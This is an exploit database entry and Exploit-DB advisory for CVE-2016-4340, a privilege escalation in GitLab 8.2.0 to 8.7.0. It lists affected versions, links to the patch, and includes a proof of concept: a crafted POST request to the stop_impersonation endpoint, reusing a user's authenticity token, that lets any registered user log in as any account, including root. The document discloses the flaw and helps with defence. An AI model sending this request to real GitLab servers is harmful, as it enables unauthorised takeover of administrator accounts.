GitLab privilege escalation via "impersonate" feature

vendor:

GitLab

by:

Kaimi

8,8

CVSS

HIGH

Privilege Escalation

287

CWE

Product Name: GitLab

Affected Version From: 8.2.0

Affected Version To: 8.7.0

Patch Exists: YES

Related CWE: CVE-2016-4340

CPE: a:gitlab:gitlab

Metasploit: https://www.rapid7.com/db/vulnerabilities/freebsd-vid-be72e773-1131-11e6-94fa-002590263bf5/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2016

GitLab privilege escalation via “impersonate” feature

Any registered user can "log in" as any other user, including administrators. A crafted request using the current authenticity token can be used to impersonate any user.

Mitigation:

Use officialy provided solutions from https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/

Source

Exploit-DB raw data:

# Exploit Title: GitLab privilege escalation via "impersonate" feature
# Date: 02-05-2016
# Software Link: https://about.gitlab.com/
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
# Exploit Author: Kaimi
# Website: https://kaimi.ru
# CVE: CVE-2016-4340
# Category: webapps
 
1. Description
   
Any registered user can "log in" as any other user, including administrators.
 
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/
 
   
2. Proof of Concept
 
Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).

Craft request using this as template:
 
POST /admin/users/stop_impersonation?id=root
. . .

_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D

Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.

   
3. Solution:

Use officialy provided solutions:
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/